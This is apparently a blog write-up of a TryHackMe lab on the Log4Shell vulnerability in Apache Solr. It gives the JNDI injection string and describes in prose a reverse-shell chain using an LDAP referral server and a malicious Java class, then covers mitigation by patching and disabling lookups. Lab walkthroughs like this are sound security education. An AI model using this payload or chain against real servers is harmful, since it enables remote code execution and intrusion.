Solr
15 Dec 2021To start this post off I’ll be discussing what log4j is and why it has become such a critical vulnerability.
To start, log4j is a open source Java logging library. The attack which is being levied against this library is called log4shell, that is the attack I am working through in this post today.
log4shell takes advantage of the two main components of log4j.\
First, the log4j package adds extra capabilities to logging and occasionally will execute syntax as it in inputted into logs. Already we can see where the issue could be.
log4shell takes advantage of this and uses the syntax;
${jndi:ldap://some_command}
Here log4shell uses JNDI (Java Naming and Directory Interface) which has the log execute the rest of the command as it trys to lookup the reference.
From there log4shell will then reach out to an endpoint using the LDAP protocol and can be directed to connect to an external source.
Second, the source will then be hosting a malicious java.class file. Once this malicious file is retrieved it will attempt to deserialize the serilized file and in the process running the code within the java class, therefore giving us the remote code execution.
log4shell has become such a deadly vulnerability for two reasons;
- It is simplistic in nature, a hacker does not require a deep understanding of the processes involved to make this hack work.
- It is extremely wide spread with the vulnerable library being present in thousands of systems. And while patches have been released vendors are usually slow to patch and quick workarounds could remain vulnerable to more sophisticated versions of this attack, as will be shown later.
Becuase of the severity of this vulnerability TryHackMe was quick to produce a room explaining and working through log4shell as well as explaining a few countermeasures for the time being.
It is this room which I will be walking through today.
First I will be using the web based AttackBox availible in TryHackMe rooms. This is the reccomended way as I will be using a Java utility later on that is pre-installed on the attackbox.
Starting the room I am given the ip address of the vulnerable server, 10.10.88.222.
From there, like always, is an nmap scan. Now I was having issues with mine which I’ll blame on using the attackbox, but I was given the port solr was running on and continued on.
Checking out the webpage under the logging tab I see that log4j is being used for logging meaning, as the box suggests, it is likely vulnerable to log4shell.
Now aware of the potential vulnerability I conduct a proof of concept before crafting my payload.
Here I am using curl to have the server use ldap and connect to my machine at port 9999.
The solr/admin/cores route was discovered by examining previous log4j logs and the command injection is the same one as discussed above.
I got a connection back on my netcat listener, showing the server is making external connections.
Now I can begin crafting my payload. I established that I can force the server to make external connections but since it is using the LDAP protocol how does that help me? Well by using a LDAP Referall Server. This breaks the exploitation into 3 parts;
- Force the vulnerable server to make a connection to my controlled LDAP Referral Server
- Redirects that request to a simple http server serving the malicious Java object
- Vulnerable server retrieves the malicious Java object and executes code upon deserialization
To set up the LDAP Referral Server I will use the open-source marshalsec utility, which can be seen here https://github.com/mbechler/marshalsec
Next I use the Java builder maven to build the package.
Once I see the “BUILD SUCCESS” message I know the package is ready to be used.
Now with the LDAP Referral Server running I write a quick Java object with a exec function inside. Upon execution it will make a connection to my ip at port 9999.
Don’t forget to compile your Java code like I did becuase I’ve been using python for too long.
Now I start my python server serving the malicious Java object and a netcat listener to catch the connection back.
Finally, I run the curl command pointing the vulnerable server to my LDAP Referral Server.
And wallah! I’ve achieved a shell as the web admin on the server.
Looking at my other servers I can see the LDAP redirected and the python server recieved a get requist for the Exploit object.
From here I can do my standard persistence and privelege escalation attacks.
This is great, but what are some ways I as a system administrator can prevent this?
First, patch and upgrade the package logging-log4j to version 2.16.0 or higher. This is the best way to protect any systems with this vulnerability present.
Second, by appending the line SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true" to the solr config script and restarting your server this will prevent JNDI lookups and help mitigate the issue. However by using this method log4j will still be vulnerable to the DDoS CVE-2021-45046.
For the purposes of this post I will be walking through the second method.
On the vulnerable server I first look for the solr.in.sh file as this is the config file. I’m presented with two options but I will be editing the global script in /etc/default
Now as you can see I had some issues with user permissions and forgetting a apostrophe but ignoring all that I appended the needed line to the start up script and restarted the solr server.
Running the same exploit as before;
Checking the netcat listener and wow! No shell this time. The server is locked down tight!
Not quite, it is still potentially vulnerable to a more sophisticated payloaded as well as being vulnerable to CVE-2021-45046 as stated above. But it will help mitigate issues until the package can be patched.
Big thanks to the TryHackMe team for putting this room together, as well as everyone else working on this vulnerability. I promise I was not smart enough to come up with anything in this post on my own. Lots of article reading in the past few days.